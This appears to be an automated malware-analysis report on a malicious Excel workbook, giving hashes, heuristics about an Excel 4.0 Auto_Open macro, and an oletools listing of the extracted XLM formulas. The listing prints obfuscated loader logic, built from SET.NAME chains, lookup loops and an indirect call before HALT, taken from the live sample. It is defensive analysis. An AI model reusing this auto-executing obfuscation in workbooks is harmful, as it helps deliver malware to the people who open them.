Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f5b5c9cc629c2208…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:40:55 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: 03cabc6ab4d6056374a27f6ae7b000fe SHA-1: 438d58a7980975cc2ed3e9f20e7eb7e262828a0a SHA-256: f5b5c9cc629c22084ea234eee504bad6cd0dd9856e3e2014051901fe4e95ee39
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6873 bytes
SHA-256: adf8b2dc793bc85630d0588e044650170f838519b9f7842e363dedfd95dbe467
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ZiVmJkemD
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A175 
' 0018     24 LABEL : Cell Value, String Constant - cEjlYVyNF len=0 
' 0018     26 LABEL : Cell Value, String Constant - CUvpzaJbVXK len=0 
' 0018     26 LABEL : Cell Value, String Constant - eWWrkMqvRpi len=0 
' 0018     25 LABEL : Cell Value, String Constant - FjrvNRmaEE len=0 
' 0018     24 LABEL : Cell Value, String Constant - FkKvMMVjN len=0 
' 0018     24 LABEL : Cell Value, String Constant - FouYBgUnJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - FPGGwJxwpS len=0 
' 0018     25 LABEL : Cell Value, String Constant - gdIDFfFFZa len=0 
' 0018     20 LABEL : Cell Value, String Constant - gnBvl len=0 
' 0018     23 LABEL : Cell Value, String Constant - GUDRBlUI len=0 
' 0018     23 LABEL : Cell Value, String Constant - hFOuxHsj len=0 
' 0018     20 LABEL : Cell Value, String Constant - iLkDW len=0 
' 0018     23 LABEL : Cell Value, String Constant - iTlTZYva len=0 
' 0018     22 LABEL : Cell Value, String Constant - JJZJdxc len=0 
' 0018     25 LABEL : Cell Value, String Constant - nTPiAYDOeK len=0 
' 0018     26 LABEL : Cell Value, String Constant - SLwvYGmjTcI len=0 
' 0018     27 LABEL : Cell Value, String Constant - VnKsIooUNvAw len=0 
' 0018     23 LABEL : Cell Value, String Constant - VsyGaPdW len=0 
' 0018     23 LABEL : Cell Value, String Constant - wQDImQsX len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZRBgjiA len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ZiVmJkemD,A86,"SET.NAME("eWWrkMqvRpi",0+VALUE("0"))",""
'  ZiVmJkemD,A91,"SET.NAME("VsyGaPdW",eWWrkMqvRpi)",""
'  ZiVmJkemD,P91,"",474.00000000000000000000
'  ZiVmJkemD,P92,"",213.00000000000000000000
'  ZiVmJkemD,P93,"",-809.00000000000000000000
'  ZiVmJkemD,A94,"SET.NAME("hFOuxHsj",eWWrkMqvRpi)",""
'  ZiVmJkemD,P94,"",688.00000000000000000000
'  ZiVmJkemD,P95,"",350.00000000000000000000
'  ZiVmJkemD,P96,"",-765.00000000000000000000
'  ZiVmJkemD,A99,"SET.NAME("iLkDW",COUNTA(cEjlYVyNF))",""
'  ZiVmJkemD,A101,"SET.NAME("VnKsIooUNvAw",COUNTA(FkKvMMVjN))",""
'  ZiVmJkemD,A106,[],""
'  ZiVmJkemD,A109,"SET.NAME("wQDImQsX","")",""
'  ZiVmJkemD,A114,"VsyGaPdW",""
'  ZiVmJkemD,A116,"SET.NAME("SLwvYGmjTcI",HLOOKUP("*",cEjlYVyNF,VsyGaPdW,FALSE))",""
'  ZiVmJkemD,A120,"nTPiAYDOeK",""
'  ZiVmJkemD,A123,"SET.NAME("JJZJdxc",eWWrkMqvRpi)",""
'  ZiVmJkemD,A127,[],""
'  ZiVmJkemD,A129,"JJZJdxc",""
'  ZiVmJkemD,A132,"FPGGwJxwpS",""
'  ZiVmJkemD,A134,"iTlTZYva",""
'  ZiVmJkemD,A137,"FjrvNRmaEE",""
'  ZiVmJkemD,A140,"SET.NAME("gnBvl",VALUE(HLOOKUP("*",FkKvMMVjN,FjrvNRmaEE,FALSE)))",""
'  ZiVmJkemD,A142,"FouYBgUnJ",""
'  ZiVmJkemD,A144,"wQDImQsX",""
'  ZiVmJkemD,A149,"hFOuxHsj",""
'  ZiVmJkemD,A151,NEXT(),""
'  ZiVmJkemD,A156,"CUvpzaJbVXK",""
'  ZiVmJkemD,A160,[],""
'  ZiVmJkemD,A165,"gdIDFfFFZa",""
'  ZiVmJkemD,A170,NEXT(),""
'  ZiVmJkemD,A173,RETURN(),""
'  ZiVmJkemD,A205,"SET.NAME("GUDRBlUI",A86)",""
'  ZiVmJkemD,A207,"cEjlYVyNF",""
'  ZiVmJkemD,A211,"SET.NAME("FkKvMMVjN",R95C11)",""
'  ZiVmJkemD,A213,"SET.NAME("gdIDFfFFZa",221)",""
'  ZiVmJkemD,A218,"SET.NAME("ZRBgjiA",1)",""
'  ZiVmJkemD,A220,GUDRBlUI(),""
'  ZiVmJkemD,A221,HALT(),""

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